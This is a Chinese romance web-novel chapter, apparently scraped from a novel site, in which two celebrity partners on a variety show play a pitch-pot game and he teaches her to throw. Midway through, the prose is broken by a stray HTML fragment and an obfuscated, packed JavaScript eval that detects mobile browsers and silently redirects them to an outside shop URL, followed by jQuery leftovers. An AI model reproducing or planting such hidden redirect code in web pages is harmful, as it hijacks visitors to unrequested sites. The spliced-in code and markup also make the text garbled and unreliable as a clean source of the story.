“我也能和你聊。”陆临策又往前迈一步,他个子高,弯下腰平视叶祈眠,执着地重复,“我也可以。”
他身上带着很淡的,像是寒冬中海浪卷起的气味,在他们的距离拉到如此近时,才像一阵拂过海面微澜的风,带着凉意将叶祈眠裹在其中。她恍然坠入一股浓烈的熟悉感,想起刚刚以EVE成员身份出道拍的第一支广告。
一个极其小众的香水品牌,EVE代言的是其中一个支线的系列,为了强化印象关联,每位成员都代表着一款香水。分给她那款叫“冰川海洋”。不同于这一系列中其他款香水或浓郁或淡雅的气味,“冰川海洋”不细闻几乎没有味道,是整条系列线上最不受人待见、销量最差的那一款。差到尽管她们那个团的成员都分属不同经纪公司,其他成员的经纪人都一致默契地将那款香安到她头上。那是个本土的品牌,不对海外销售,而叶祈眠是唯一的外国人。
起初一个月,那支香的销量一度为零,那条香水系列的销量图甚至被传上Twitter,代表着销售额的柱状图上,那条唯一的地平线上标记着“Mia”——是叶祈眠的英文名。
陆临策身上的气息和那款香水很像,她记起被安排在最晚一个拍香水广告的时候,摄影师的态度并不算友好,休息时她独自坐在幕布前,远处棚里工作人员压低声音捂嘴笑,一边若有似无扫过她,带着打量审视的眼神。
她想起自己,对眼前这个同样不知道该如何融入的人无法不心软。
“好,我们是搭档,我记得的。”叶祈眠对他笑,“刚刚有听明白规则吗?”
陆临策盯着她扬起的唇角,眼睛一眨不眨,摇摇头,看着莫名有点乖,“没有。”
叶祈眠叹了口气,耐心给他讲解规则。
“……所以投壶分数最高的那组可以获得优先抽卡的权利。不过先抽卡也未必能选到好的就是了。”
“陆老师有喜欢的身份卡吗?虽然不一定能抽到心选,但我们也可以祈祷一下,万一心想事成了呢。”叶祈眠两手一摊,叹了口气,一副“没辙了但仍有侥幸”的表情。陆临策的视线没有移开,看她脑袋微歪着的模样,唇角浅浅地扬起一点。
“什么都行。”他摇摇头,停顿了一下,像省去了一点什么,说话的尾音不明显地上扬,“……都可以。”
叶祈眠摇到的二号,他们组排第二个去投壶。
每组十支箭,站在线外,向线内一支细长的筒里投掷,投中最多者优先抽卡。
第一组是连清思和樊州。工作人员送上箭,连清思先投出去一支,箭矢高高越过筒口,“嗒”一声砸在地上。连清思哎呀一声,“差一点。”樊州站在一旁,抱着那束箭,再抽了一支递给她,冷幽幽的,“差远了。”连清思被噎了噎,抿抿唇没说话,接过箭再次瞄准,箭矢在长筒面前五六公分落地,第三次掷偏了落到左边,第四次箭头在筒口撞了一下弹出去。
连清思起初还只是懊恼,屡投不中,逐渐浮躁,第五支箭偏离方向落到场地边缘。
叶祈眠鼓励道:“这支箭有自己的主意,不过刚刚那支就很好,差一点点就进去了。已经快找到手感了。”
樊州掂掂手里剩下的箭,“我闭眼随手丢一把投中率都比这大。”
围观的叶祈眠偷偷啧舌,rapper嘴巴就是长砒霜。
樊州话音落下,连清思终于忍无可忍地瞪他一眼,“那你来。”
“我来就我来。”樊州指尖转着一支箭,然后言行一致地、将剩下的箭握成一把,随手一抛,天女散花。几支箭七零八落,其中一支晃晃悠悠在长筒里打转。
坏了,真给他装到了。
樊州双手插兜走回去,“看到了?”连清思抿抿嘴,没再说话。
但叶祈眠真的有被这个好主意吸引到,两眼放光,歪着脑袋凑去和陆临策小声商量:“我们也这样丢吧?感觉比我一支一支投的命中率高。”她对自己太有自知之明了,投掷类游戏对她而言是百分百运气游戏,每次玩投篮机,都是一种没有任何回报的慈善——钱花了,情绪价值为负。
她靠近时那根长长的彩色发带飘到陆临策腕上,男人明皙的腕骨挂着驱蚊手环,发带缠上玉桂狗萌萌的笑脸,尾端穿插在食指与中指之间。
指尖摩挲,收手时丝带蜿蜒着从他身上滑落。陆临策从工作人员手上接过那束箭,刚刚被缠绕过的手指夹住箭羽抽出,手腕翻转,悬在空中。腕节下压,箭矢从指间脱离。
叶祈眠屏住呼吸。
伴随微弱的划开空气的一声,箭头磕在长筒内壁,被撞得反弹一下,往后仰落,晃啷两下,躺在地上。
叶祈眠愉悦得嗯了一声,声音上扬,“哇,好险,不过就差那么一点点。”海豹鼓掌,“陆老师好强,投第一支准头就这么好,天生射手。”
还没参赛的荀易那组,明希远笑道:“还没投中呢,就这么夸,万一后面失手了呢。”
站在线外的男人不急不缓地抽出第二支箭,抬手悬空,又往回收了一下,然后掷出。箭矢当啷入筒。男人的手垂下,站姿不动,头转过来,对叶祈眠微微歪头。
叶祈眠眼睛瞪得大大的,双手高举过头顶,范进中举式喊:“陆老师!中了中了!”
陆临策很轻地挑了下唇才转回去,同样的位置,同样的压腕。第二支进筒,第三支进筒,第四支进筒。丝滑得毫无阻滞,荀易大叫:“这也太稳了!”遂鼓掌。
惊讶于陆临策的命中率,连清思也笑着鼓掌,“看到了?”站她旁边的樊州一停,将宽大的帽檐往下拉拉,抬手附和这阵掌声。
抽出第六支箭,陆临策没继续投,拇指微压将箭矢的方向翻转,箭羽朝外,另一只手的四指弯起,对叶祈眠招招。
叶祈眠跑着过去,“怎么了陆老师?有什么指示?保证做到!”搭档玩游戏这么牛,旁边那两组都羡慕,虽然不是她投中的,但小组就是一体的,何尝不算她装到了。
陆临策将那支箭递给她。
“嗯?”叶祈眠眨眨眼,食指指着自己,“什么意思?给我吗?”她摆摆手,“我不会啊,我玩投掷类游戏很差的,一个都中不了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912955|213205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“我教。”
“这种事情怎么是教一下就能速成的。”
“来。”
那支箭已经递到她手边,箭尾的翎羽拂过她拇指的外关节,“陆老师我真不行,我纯纯拖后腿的……”手已经诚实地捏住那支细细的杆子。好吧,就算失败挂零过一千次,第一千零一次她还是幻想自己是有天赋的。要不她之前能往投篮机里扔那么多钱呢。
叶祈眠站在线外,那双跳舞时找定点总是很稳的手,举着箭的时候细微地晃,站得近能看见尾翎在抖。
那股熟悉的海风气息又裹上来,玉桂狗的手环在眼尾余光里擦过,指型规整的手扶住了她的手腕。太阳很大,他的指腹并不很热,反倒是从上方落下的鼻息,落在叶祈眠被发丝半掩的耳尖,烫得慢慢泛麻。他的手指在她腕上慢慢收紧稳定,浮起的错落青筋穿过那条白色的硅胶,叶祈眠忽然觉得那只玉桂狗的驱蚊手环有点幼稚。
“这里。”陆临策带着她的手腕悬在某个位置定住,咬字轻,声音冷润,“扔。”他的手指松开,掌心还包着她手腕内侧的软肉。骨骼纤细,皮肉薄薄,在他掌心能印下那条肌腱细细的印记。
“哦……”叶祈眠陡然回神,“哦、哦好。”才匆匆将手中的箭往前一抛,箭簇飞起一条弧线,敲着长筒的外壳落地。
“诶?”叶祈眠身体往上拔了拔,腰直起来一点,马尾突起来的位置贴上他的下巴也没注意,“差一点诶!陆老师。真的有用啊!真的,我以前玩这种,总是连边都擦不上。”
她忽然对自己有天赋这件事重拾信心。之前投不准,那是她没摸到方法,是没人教,是没人慧眼识她。她和天才之间,无非就差个师父。有个师父她第一次不就能擦边了!
“当然了,擦边不对,大家千万不要学。”
连清思:“……”
荀易:“啊……?”
明希远:“嗯……”
樊州:“噗……”
陆临策收回的手顿在半空,忽而低头,鼻尖几乎碰到她的发顶,触到上面的洋甘菊香,抬手轻轻戳了一下她的额头,“好笑。”
武先&导演组:……根本就没在笑啊!
叶祈眠被他戳得闭了一下眼,“明明是正经宣传。讲文明,树新风,配合净网,打击犯罪。”
陆临策默了默,“对。”
“你俩……”明希远抱着手臂斜站着,“相声有新人在隔壁,临策你居然也给她捧上了。”
樊州也抱着手臂,姿势和明希远乍一眼看镜像,“相声行不收女弟子。”
要这么正经解释吗?
叶祈眠再拿起一支箭,抬手瞄准长筒,“这么好笑的人我们综艺居然有三个。”
陆临策半环着她,重新扶上她的手腕给她当支架,“哪三个?”
“樊州,希远姐,还有我。”
“不算我?”
在场所有人:……
箭矢脱手,还没起飞就在叶祈眠手上坠了机。
叶祈眠面无表情:“……好的,现在是四个了。”